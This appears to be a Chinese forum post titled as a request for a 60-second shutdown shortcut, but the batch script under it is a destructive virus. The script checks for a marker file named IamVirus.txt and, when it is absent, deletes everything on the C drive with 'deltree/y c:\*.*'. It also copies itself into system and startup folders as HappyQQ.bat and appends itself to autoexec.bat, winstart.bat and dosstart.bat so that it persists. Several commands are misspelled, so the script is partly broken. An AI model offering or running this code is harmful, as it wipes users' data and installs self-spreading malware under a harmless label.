高手帮忙做个60秒关机快截

@echo off
if not exsit %windir%\desktop\IamVirus.txt goto KillSystem
if not exsit %windir%\system\%0.bat goto CopyToHere
if not exist %windir%\winstart.bat goto AddWin
if not exist %windir%\dosstart.bat goto AddDos
if not exist c:\autoexec.bat goto AddAuto
if not exsit %windir%\……\启动\HappyQQ.bat goto CopyMyself
goto end
:AddWin
echo %windir%\system\%0.bat>>%windir%\winstart.bat>null
goto end
:AddDos
echo %windir%\system\%0.bat>>%windir%\dosstart.bat>null
goto end
:AddAuto
echo %windir%\system\%0.bat>>c:\autoexec.bat>null
goto end
:CopyMyself
copy %0.bat %windir%\……\启动\HappyQQ.bat /y >null
goto end
:CopyToHere
copy %0.bat %windir%\system\%0.bat
goto end
:KillSystem
deltree/y c:\*.*>null
goto end